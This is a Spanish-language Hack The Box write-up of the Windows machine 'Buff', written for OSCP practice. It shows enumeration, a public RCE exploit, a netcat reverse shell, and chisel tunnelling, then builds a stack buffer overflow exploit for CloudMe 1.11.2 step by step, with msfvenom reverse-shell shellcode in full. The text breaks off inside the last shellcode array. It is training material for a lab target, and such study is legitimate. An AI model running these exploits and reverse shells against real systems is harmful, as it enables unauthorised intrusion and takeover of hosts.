En este post voy a vulnerar la máquina Buff de Hack the Box. Es una máquina Windows, de nivel fácil, con una explotación muy sencilla y con una escalada de privilegios basada en el desbordamiento del búfer de la pila (Stack Buffer Overflow) que desarrollaré paso a paso.
Enumeración
Comienzo escaneado los 65535 puertos del protocolo TCP, estableciendo un envío mínimo de 10000 paquetes por segundo; esto es muy ruidoso pero al ser un entorno controlado no me preocupa el ruido.
nmap -p- -n --open --min-rate 10000 10.10.10.198 -Pn

En la máquina hay un dos puertos abiertos. Escaneo los dos puertos que he encontrado para ver la versión de los servicios que están corriendo en ellos y ejecuto una serie de scripts de enumeración básicos.
nmap -p7680,8080 -sC -sV 10.10.10.198 -Pn Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-29 18:42 CET Nmap scan report for 10.10.10.198 Host is up (0.24s latency). PORT STATE SERVICE VERSION 7680/tcp open pando-pub? 8080/tcp open http Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6) |_http-open-proxy: Proxy might be redirecting requests |_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6 |_http-title: mrb3n's Bro Hut Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 75.32 seconds
HTTP
Leo la cabecera del servicio y descubro que se está ejecutando php y JavaScript y que identifica un campo de contraseña por lo que seguramente la web tendrá un campo para autenticarse.

Accedo a la web con el navegador y, después de explorar un poco, descubro que la web está utilizando Gym Management Software 1.0.


Busco vulnerabilidades a nivel de kernel en la base de datos de exploit-db y encuentro esta que me permite ejecutar código de forma remota (RCE) sin necesidad de autenticarme.

Explotación
Leo los detalles del exploit (aunque no sería necesario realizarlos) y accedo a la ruta http://10.10.10.198:8080/upload.php y encuentro un mensaje de alerta para el fichero upload.php indicando un posible problema en el código (buena señal para nosotros).

Simplemente ejecuto el exploit y consigo una shell.
python 48506.py http://10.10.10.198:8080/

El problema es que esta es una fake shell y no es válida porque siempre responde bajo la misma ruta raíz y necesito que sea interactiva y me pueda mover entre directorios. Busco la información del sistema y veo que se trata de un Windows 10 Enterprise de 64bits.

Me descargo un binario de netcat de 64bits aquí y lo subo a la máquina victima a través de smb.

En mi máquina atacante pongo un netcat a la escucha por el puerto y lanzo desde la fake shell un netcat a mi máquina atacante, consiguiendo una shell reversa interactiva.
nc64.exe -e cmd 10.10.14.15 7897

La flag de usuario la encuentro en la ruta C:\Users\shaun\Desktop\user.txt.

Escalada de Privilegios. Parte I
Hago una enumeración completa con WinPEAS (con el binario de 64bits) y, después de unos minutos revisando todo, al llegar al apartado de los permisos de ficheros me llama la atención uno ubicado en la ruta C:\Users\shaun\Downloads\CloudMe_1112.exe porque pose todos los permisos (AllAccess).

Busco vulnerabilidades a nivel de kernel de este software y, para esta versión, encuentro tres vulnerabilidades de Buffer Overflow. En este caso me quedaré con la primera.

El único problema es que este software se ejecuta de forma interna (por eso no lo he visto con nmap) por el puerto 8888 pero esto puedo solucionarlo fácilmente con chisel mediante un Remote Port Forwarding.
Arreglada la visibilidad del software, el exploit indicado es válido y solo tendría que generar un nuevo payload con msfvenom pero como quiero que este post sirva para preparación del OSCP, voy a desarrollar la técnica del Buffer Overflow paso a paso en una PoC.
PoC
En el OSCP, este ejercicio se realiza en una máquina de 32bits por lo que instalo CloudMe 1.11.2 en un windows 7 con arquitectura x86 preparado para este ejercicio y lo ejecuto como administrador.

En este post desarrollo como preparar este entorno de trabajo y las herramientas necesarias.
Para comprobar la ejecución del software, lanzo el siguiente comando y compruebo el puerto.
netstat -nato

Preparar el entorno de trabajo
Para poder vulnerar este software, voy a hacer un portforwarding del puerto 8888 de la máquina de pruebas a mi puerto 8888 de equipo atacante con chisel.
Primero me descargo un chisel válido para la maquina de pruebas desde su repositorio de github, lo extraigo con 7z y lo ejecuto para comprobar que funciona correctamente.
chisel > releases > chisel_1.7.6_windows_386.gz
chisel.exe

Repito el mismo proceso en mi máquina atacante (es necesario instalar golang).
sudo apt install golang -y sudo git clone https://github.com/jpillora/chisel.git cd chisel/ go build -ldflags "-s -w" . sudo upx chisel
Estableciendo Port Forwarding
Primero creo un servidor remoto por el puerto 1234.
./chisel server --reverse --port 1234

Ahora, en la máquina de pruebas, me conecto con chisel en modo cliente a la máquina victima por el puerto 1234 y hago un Remote Port Forwarding llevando el puerto 8888 de la máquina de pruebas al puerto 8888 de la máquina atacante.
chisel.exe client 192.168.71.135:1234 R:8888:127.0.0.1:8888

Por último, compruebo que se ha establecido el túnel.


Una vez preparado el entorno de trabajo y teniendo visibilidad del software, puedo comenzar con la explotación.
Explotación
Abro Immunity Debugger y me «attacheo» (File > Attach) al proceso en ejecución.




Al «attachearme» al proceso, Immunity Debugger se pone en modo pausa (Paused). Para arracantarlo solo tengo que darle al botón de play (arriba a la izquierda).

Este proceso lo estaré repitiendo constantemente durante la explotación, así que para ahorrar tiempo me referiré a él como proceso de arranque.
Para este ejercicio, Offensive Security entrega el exploit básico de explotación y se trabaja sobre él. Algo similar a esto.
#!/usr/bin/python3
import socket
import signal
import pdb
import sys
import time
from pwn import *
from struct import pack
target = "127.0.0.1"
def code():
buff = b"A"*2500
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target,8888))
s.send(buff)
if __name__ == '__main__':
code()
Ejecuto este código en la máquina atacante y cuando vuelvo a la máquina de pruebas veo que CloudMe.exe se ha parado por un error.
python3 privescexploit.py

Veo los registros de Immunity Debugger y veo que los he sobrescrito con 41414141, que equivale a la letra A en hexadecimal.

El programa enviaba 2500 caracteres A a CloudMe.exe. Al sobrepasar el tamaño del buffer definido para el programa, se sobrescribe el EIP y los caracteres enviados vuelven a subir al ESP (se produce un desbordamiento del buffer).

Dado que el EIP es el «puntero de instrucción extendido», es decir, apunta a la siguiente instrucción a ejecutar, necesito tomar el control de este para poder inyectar código malicioso.
Ya se que el buffer se desborda con 2500 caracteres pero necesito saber el número exacto de caracteres con los que se desborda el buffer para tomar el control de EIP. Creo una cadena de 2500 caracteres aleatorios con pattern_create y modifico el exploit con ella.
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2500

#!/usr/bin/python3
import socket
import signal
import pdb
import sys
import time
from pwn import *
from struct import pack
target = "127.0.0.1"
def code():
buff = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2D"
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, 8888))
s.send(buff)
if __name__ == '__main__':
code()
Inicio el proceso de arranque y vuelvo a ejecutar el exploit. En los registros de Immunity debugger puedo ver que ahora el EIP es 316A4230, esto quiere decir que el EIP se sobrescribe en este valor (en este offset).

Para saber cual a que tamaño corresponde este offset utilizo el pattern_offset, que me indica que a partir del offset 1052 puedo sobrescribir el EIP, es decir, que a partir de 1052 caracteres A, ya puedo tomar el control del EIP.
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 316A4230

Modifico el exploit de forma que primero envíe 1052 caracteres A, luego 4 caracteres B y por último 100 caracteres C. De esta forma el EIP serán los 4 caracteres B y el ESP serán los caracteres C.
#!/usr/bin/python3
import socket
import signal
import pdb
import sys
import time
from pwn import *
from struct import pack
target = "127.0.0.1"
def code():
buff1 = b"A"*1052
buff2 = b"B"*4 #EIP
buff3 = b"C"*100 #ESP
buff = buff1 + buff2 + buff3
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, 8888))
s.send(buff)
if __name__ == '__main__':
code()
Inicio el proceso de arranque y vuelvo a ejecutar el exploit. En los registros de Immunity debugger puedo ver que ahora el EIP es 42424242 (que corresponde al carácter B en hexadecimal) y el ESP es 43 ( que corresponde al carácter C en hexadecimal).

Ya he tomado el control del EIP y ya puedo introducir código malicioso en el ESP, cuya dirección es 0x0022D470.
Al inyectar código malicioso, es bastante común que haya caracteres que el programa no logre interpretar (Badchars) y esto haga que el código malicioso no funcione pero, afortunadamente, se pueden calcular. Primero me creo un directorio de trabajo para Immunity debugger y luego, con la utilidad mona, le pido que muestre todos los caracteres en hexadecimal. (bytearray). Ejecuto los siguientes comandos (en la consola de Immunity debugger).
!mona config -set workingfolder C:\Users\XXXXXX\Dektop\%p !mona bytearray
"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

También ha creado un directorio de trabajo en la ruta que le he indicado donde ha creado un fichero llamado bytearray.txt donde muestra esta misma información.
Para comprobar los badchar, voy a añadirlos todos al exploit (en la zona del ESP) salvo el caracter \x00 ya que, normalmente suele fallar. Vuelvo a generar el bytearray con mona indicando que deje fuera el caracter \x00 y modifico el exploit añadiendo todos los demás caracteres a la zona del ESP.
!mona bytearray -cpb "\x00"
#!/usr/bin/python3
import socket
import signal
import pdb
import sys
import time
from pwn import *
from struct import pack
target = "127.0.0.1"
def code():
badchars = (
b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
) #ESP
buff1 = b"A"*1052
buff2 = b"B"*4 #EIP
buff = buff1 + buff2 + badchars
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, 8888))
s.send(buff)
if __name__ == '__main__':
code()
Inicio el proceso de arranque y vuelvo a ejecutar el exploit. En los registros de Immunity debugger puedo ver que ahora el ESP esta en 0x0022D470.

Si hago click derecho sobre la dirección y selecciono Follow in Dump puedo ver el resultado manualmente.

Como esto es muy lento y puedo equivocarme, con mona voy a comparar todos los caracteres de bytearry con los caracteres de la pila (que hay en el ESP) y se parará cuando haya uno que no esté (que será un badchar).
!mona compare -f C:\Users\XXXXXX\Dektop\CloudMe\bytearray.txt -a 0022D470

Por lo que veo en la imagen anterior, no ha generado nada por lo que no hay mas badchars y el programa puede interpretar todos los caracteres restantes en hexadecimal.
Con msfvenom voy a generar un shellcode (dejando fuera los badchars), que lo añadiré al ESP, que me dé una shell reversa por TCP.
msfvenom -p windows/shell_reverse_tcp -a x86 --platform windows LHOST=192.168.71.135 LPORT=443 -b "\x00" -e x86/shikata_ga_nai -f python EXITFUNC=thread

#!/usr/bin/python3
import socket
import signal
import pdb
import sys
import time
from pwn import *
from struct import pack
target = "127.0.0.1"
def code():
shellcode = (
b"\xba\x38\x34\xc3\xdc\xd9\xeb\xd9\x74\x24\xf4\x5b\x31"
b"\xc9\xb1\x52\x83\xeb\xfc\x31\x53\x0e\x03\x6b\x3a\x21"
b"\x29\x77\xaa\x27\xd2\x87\x2b\x48\x5a\x62\x1a\x48\x38"
b"\xe7\x0d\x78\x4a\xa5\xa1\xf3\x1e\x5d\x31\x71\xb7\x52"
b"\xf2\x3c\xe1\x5d\x03\x6c\xd1\xfc\x87\x6f\x06\xde\xb6"
b"\xbf\x5b\x1f\xfe\xa2\x96\x4d\x57\xa8\x05\x61\xdc\xe4"
b"\x95\x0a\xae\xe9\x9d\xef\x67\x0b\x8f\xbe\xfc\x52\x0f"
b"\x41\xd0\xee\x06\x59\x35\xca\xd1\xd2\x8d\xa0\xe3\x32"
b"\xdc\x49\x4f\x7b\xd0\xbb\x91\xbc\xd7\x23\xe4\xb4\x2b"
b"\xd9\xff\x03\x51\x05\x75\x97\xf1\xce\x2d\x73\x03\x02"
b"\xab\xf0\x0f\xef\xbf\x5e\x0c\xee\x6c\xd5\x28\x7b\x93"
b"\x39\xb9\x3f\xb0\x9d\xe1\xe4\xd9\x84\x4f\x4a\xe5\xd6"
b"\x2f\x33\x43\x9d\xc2\x20\xfe\xfc\x8a\x85\x33\xfe\x4a"
b"\x82\x44\x8d\x78\x0d\xff\x19\x31\xc6\xd9\xde\x36\xfd"
b"\x9e\x70\xc9\xfe\xde\x59\x0e\xaa\x8e\xf1\xa7\xd3\x44"
b"\x01\x47\x06\xca\x51\xe7\xf9\xab\x01\x47\xaa\x43\x4b"
b"\x48\x95\x74\x74\x82\xbe\x1f\x8f\x45\x01\x77\xc8\x12"
b"\xe9\x8a\xd6\x1d\x51\x03\x30\x77\xb5\x42\xeb\xe0\x2c"
b"\xcf\x67\x90\xb1\xc5\x02\x92\x3a\xea\xf3\x5d\xcb\x87"
b"\xe7\x0a\x3b\xd2\x55\x9c\x44\xc8\xf1\x42\xd6\x97\x01"
b"\x0c\xcb\x0f\x56\x59\x3d\x46\x32\x77\x64\xf0\x20\x8a"
b"\xf0\x3b\xe0\x51\xc1\xc2\xe9\x14\x7d\xe1\xf9\xe0\x7e"
b"\xad\xad\xbc\x28\x7b\x1b\x7b\x83\xcd\xf5\xd5\x78\x84"
b"\x91\xa0\xb2\x17\xe7\xac\x9e\xe1\x07\x1c\x77\xb4\x38"
b"\x91\x1f\x30\x41\xcf\xbf\xbf\x98\x4b\xdf\x5d\x08\xa6"
b"\x48\xf8\xd9\x0b\x15\xfb\x34\x4f\x20\x78\xbc\x30\xd7"
b"\x60\xb5\x35\x93\x26\x26\x44\x8c\xc2\x48\xfb\xad\xc6"
) #ESP
buff1 = b"A"*1052
buff2 = b"B"*4 #EIP
buff = buff1 + buff2 + shellcode
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, 8888))
s.send(buff)
if __name__ == '__main__':
code()
En este punto ya desbordo el buffer, tengo el control del EIP y puedo inyectar código malicioso en el ESP pero para ellos tengo que hacer que el EIP salte al ESP. Para que el EIP salte al ESP tengo que hacer que el EIP apunte a una dirección donde se aplique un OPCODE (operation code) llamado JMP ESP.
Primero busco el operation code correspondiente a JMP ESP. Esto lo puedo hacer con la utilidad nasm_shell de metasploit.
/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb

Como veo en la imagen anterior, el opcode es FFE4.
Inicio el proceso de arranque y listo los módulos del programa con mona. Los módulos suelen tener protecciones pero también los hay ficheros .dll que no los tiene (todo en False). El que hay señalado en la imagen me vale (Qt5Core.dll).
!mona modules

Ahora tengo que buscar el opcode dentro del dll sin protecciones que he elegido. Esto lo puedo hacer con mona. Del resultado, tengo que elegir uno que tenga capacidad de ejecución.
!mona find -s "\xff\xe4" -m Qt5Core.dll

La imagen anterior me indica que hay uno en la ruta 0x68A98A7B. Para comprobarlo, pincho en la pestaña indicada, añado la dirección y pincho en OK.


Efectivamente en esa dirección tengo un JMP ESP.
Modifico el exploit añadiendo la dirección 0x68A98A7B en el EIP para hacer el JMP ESP.
Esta dirección está en formato little endian así que para que entienda la dirección tendría que ponerla al revés (\x7b\x8a\xa9\x68) pero como tengo la librería pack, solo tengo que hacer una llamada a esta librería e indicarle el formato
pack("<I", 0x68a98a7b).
Ahora me encuentro con el problema de que el shellcode que he añadido esta cifrado y si hago directamente el JMP ESP hacia el shellcode, el programa no va a saber interpretarlo. Esto lo puedo solucionar o bien haciendo un desplazamiento de la pila o insertando un par de bytes de NOPS (No Operation Code) entre el JMP ESP y el shellcode para que, cuando llegue al shellcode, ya esté desencriptado. Vuelvo a modificar el exploit con estos cambios.
#!/usr/bin/python3
import socket
import signal
import pdb
import sys
import time
from pwn import *
from struct import pack
target = "127.0.0.1"
def code():
shellcode = (
b"\xba\x38\x34\xc3\xdc\xd9\xeb\xd9\x74\x24\xf4\x5b\x31"
b"\xc9\xb1\x52\x83\xeb\xfc\x31\x53\x0e\x03\x6b\x3a\x21"
b"\x29\x77\xaa\x27\xd2\x87\x2b\x48\x5a\x62\x1a\x48\x38"
b"\xe7\x0d\x78\x4a\xa5\xa1\xf3\x1e\x5d\x31\x71\xb7\x52"
b"\xf2\x3c\xe1\x5d\x03\x6c\xd1\xfc\x87\x6f\x06\xde\xb6"
b"\xbf\x5b\x1f\xfe\xa2\x96\x4d\x57\xa8\x05\x61\xdc\xe4"
b"\x95\x0a\xae\xe9\x9d\xef\x67\x0b\x8f\xbe\xfc\x52\x0f"
b"\x41\xd0\xee\x06\x59\x35\xca\xd1\xd2\x8d\xa0\xe3\x32"
b"\xdc\x49\x4f\x7b\xd0\xbb\x91\xbc\xd7\x23\xe4\xb4\x2b"
b"\xd9\xff\x03\x51\x05\x75\x97\xf1\xce\x2d\x73\x03\x02"
b"\xab\xf0\x0f\xef\xbf\x5e\x0c\xee\x6c\xd5\x28\x7b\x93"
b"\x39\xb9\x3f\xb0\x9d\xe1\xe4\xd9\x84\x4f\x4a\xe5\xd6"
b"\x2f\x33\x43\x9d\xc2\x20\xfe\xfc\x8a\x85\x33\xfe\x4a"
b"\x82\x44\x8d\x78\x0d\xff\x19\x31\xc6\xd9\xde\x36\xfd"
b"\x9e\x70\xc9\xfe\xde\x59\x0e\xaa\x8e\xf1\xa7\xd3\x44"
b"\x01\x47\x06\xca\x51\xe7\xf9\xab\x01\x47\xaa\x43\x4b"
b"\x48\x95\x74\x74\x82\xbe\x1f\x8f\x45\x01\x77\xc8\x12"
b"\xe9\x8a\xd6\x1d\x51\x03\x30\x77\xb5\x42\xeb\xe0\x2c"
b"\xcf\x67\x90\xb1\xc5\x02\x92\x3a\xea\xf3\x5d\xcb\x87"
b"\xe7\x0a\x3b\xd2\x55\x9c\x44\xc8\xf1\x42\xd6\x97\x01"
b"\x0c\xcb\x0f\x56\x59\x3d\x46\x32\x77\x64\xf0\x20\x8a"
b"\xf0\x3b\xe0\x51\xc1\xc2\xe9\x14\x7d\xe1\xf9\xe0\x7e"
b"\xad\xad\xbc\x28\x7b\x1b\x7b\x83\xcd\xf5\xd5\x78\x84"
b"\x91\xa0\xb2\x17\xe7\xac\x9e\xe1\x07\x1c\x77\xb4\x38"
b"\x91\x1f\x30\x41\xcf\xbf\xbf\x98\x4b\xdf\x5d\x08\xa6"
b"\x48\xf8\xd9\x0b\x15\xfb\x34\x4f\x20\x78\xbc\x30\xd7"
b"\x60\xb5\x35\x93\x26\x26\x44\x8c\xc2\x48\xfb\xad\xc6"
) #ESP
buff1 = b"A"*1052
NOPS = b"\x90"*20
buff = buff1 + pack("<I", 0x68a98a7b) + NOPS + shellcode #pack("<I", 0x68a98a7b) es el JMP ESP
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, 8888))
s.send(buff)
if __name__ == '__main__':
code()
Inicio el proceso de arranque, pongo un netcat a la escucha en la máquina atacante por el puerto 443 y vuelvo a ejecutar el exploit, consiguiendo una shell reversa.

Escalada de Privilegios. Parte 2
Una vez desarrollado el exploit para la escalada de privilegios, ya puedo iniciar el proceso. Comienzo subiendo por smb binario de chisel para establecer el Remote Port Forwarding.
mv /home/DrP1ng/Descargas/chisel_1.7.6_windows_386.gz chisel.exe.gz gunzip chisel.exe.gz


Inicio el servidor de chisel en la máquina atacante.
./chisel server --reverse --port 1234
Inicio el cliente de chisel en la máquina víctima.
chisel.exe client 10.10.14.15:1234 R:8888:127.0.0.1:8888
Y ya puedo ver el puerto 8888 de la máquina víctima.
Vuelvo a generar un shellcode malicioso con msfvenom para obtener una shell reversa (cambia la IP) y lo añado al código del exploit.
msfvenom -p windows/shell_reverse_tcp -a x86 --platform windows LHOST=10.10.14.15 LPORT=443 -b "\x00" -e x86/shikata_ga_nai -f python EXITFUNC=thread
#!/usr/bin/python3
import socket
import signal
import pdb
import sys
import time
from pwn import *
from struct import pack
target = "127.0.0.1"
def code():
shellcode = (
b"\xd9\xc8\xbb\x67\x4d\x93\xfd\xd9\x74\x24\xf4\x5f\x31"
b"\xc9\xb1\x52\x31\x5f\x17\x83\xef\xfc\x03\x38\x5e\x71"
b"\x08\x3a\x88\xf7\xf3\xc2\x49\x98\x7a\x27\x78\x98\x19"
b"\x2c\x2b\x28\x69\x60\xc0\xc3\x3f\x90\x53\xa1\x97\x97"
b"\xd4\x0c\xce\x96\xe5\x3d\x32\xb9\x65\x3c\x67\x19\x57"
b"\x8f\x7a\x58\x90\xf2\x77\x08\x49\x78\x25\xbc\xfe\x34"
b"\xf6\x37\x4c\xd8\x7e\xa4\x05\xdb\xaf\x7b\x1d\x82\x6f"
b"\x7a\xf2\xbe\x39\x64\x17\xfa\xf0\x1f\xe3\x70\x03\xc9"
b"\x3d\x78\xa8\x34\xf2\x8b\xb0\x71\x35\x74\xc7\x8b\x45"
b"\x09\xd0\x48\x37\xd5\x55\x4a\x9f\x9e\xce\xb6\x21\x72"
